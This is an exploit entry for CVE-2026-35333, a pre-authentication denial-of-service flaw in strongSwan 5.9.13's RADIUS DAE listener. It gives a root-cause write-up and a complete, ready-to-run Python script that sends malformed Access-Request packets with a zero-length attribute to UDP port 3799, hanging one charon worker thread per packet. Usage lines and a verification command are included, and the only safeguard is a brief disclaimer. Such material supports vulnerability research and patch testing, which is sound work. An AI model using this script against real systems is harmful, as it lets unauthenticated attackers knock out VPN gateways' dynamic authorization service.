strongSwan 5.9.13 - DoS

# Exploit Title: strongSwan 5.9.13 - DoS
# Date: 2026-05-13
# Exploit Author: Lukas Johannes Moeller
# Vendor Homepage: https://www.strongswan.org/
# Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
# Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled)
# Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball,
#            strongswan.conf charon.plugins.eap-radius.dae.enable = yes,
#            listener bound on UDP/3799
# CVE: CVE-2026-35333
# References:
#   https://github.com/strongswan/strongswan/commit/e067d24293
#   https://nvd.nist.gov/vuln/detail/CVE-2026-35333
#   https://github.com/JohannesLks/CVE-2026-35333
#
# Description:
#   attribute_enumerate() in src/libradius/radius_message.c walks the
#   attribute list of a RADIUS message without rejecting an attribute
#   whose length byte is 0. For length == 0, this->next never advances
#   and the per-attribute length computation `this->next->length -
#   sizeof(rattr_t)` underflows to (size_t)-2. The result is an
#   infinite loop pegging one charon worker thread at 100% CPU.
#
#   The reachability detail that turns this into a pre-auth bug:
#   radius_message_t::verify() uses the SAME broken iterator to find
#   Message-Authenticator BEFORE the Response-Authenticator MD5 check
#   is applied. For RADIUS code 1 (Access-Request) verify() skips the
#   MD5 check entirely. So a malformed Access-Request with a single
#   zero-length attribute as its first attribute traps the worker
#   thread without any knowledge of the DAE shared secret.
#
#   N packets exhaust N worker threads -> full DAE denial of service.
#
# Usage:
#   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1
#   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8
#
# Observe on the target:
#   ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd
#   -> one or more threads in state R at ~100% CPU, never returning.
#
# Disclaimer:
#   For authorized testing and defensive research only. Do not use
#   against systems you do not own or have explicit permission to test.

import argparse
import os
import socket
import struct
import sys
import time

ACCESS_REQUEST = 1
RAT_USER_NAME  = 1


def build_zero_length_attr_packet() -> bytes:
    identifier    = os.urandom(1)[0]
    authenticator = os.urandom(16)

    # 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0)
    total_len = 22
    header = struct.pack("!BBH16s",
                         ACCESS_REQUEST,
                         identifier,
                         total_len,
                         authenticator)
    attribute = struct.pack("!BB", RAT_USER_NAME, 0)
    return header + attribute


def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(wait)
    sock.sendto(packet, (target, port))
    print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp")
    try:
        data, addr = sock.recvfrom(4096)
        print(f"[-] unexpected response {len(data)} bytes from {addr}:"
              f" {data[:32].hex()}")
    except socket.timeout:
        print(f"[+] no response within {wait:.1f}s -- expected for hung worker")
    finally:
        sock.close()


def main() -> int:
    p = argparse.ArgumentParser(
        description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS"
    )
    p.add_argument("--target", required=True,
                   help="DAE listener IPv4 address (e.g. 10.0.0.1)")
    p.add_argument("--port", type=int, default=3799,
                   help="DAE listener UDP port (default: 3799)")
    p.add_argument("--count", type=int, default=1,
                   help="Number of crafted packets to send (default: 1)")
    p.add_argument("--wait", type=float, default=2.0,
                   help="Per-packet response timeout in seconds (default: 2.0)")
    args = p.parse_args()

    payload = build_zero_length_attr_packet()
    for i in range(args.count):
        print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
              "zero-length User-Name attribute")
        send_packet(payload, args.target, args.port, args.wait)
        time.sleep(0.2)

    print("\n[+] done; expected effect: one charon worker thread per packet "
          "stuck at 100% CPU.")
    print("    Verify on the target with:  ps -L -p $(pidof charon) "
          "-o tid,pcpu,stat,wchan:25,cmd")
    return 0


if __name__ == "__main__":
    sys.exit(main())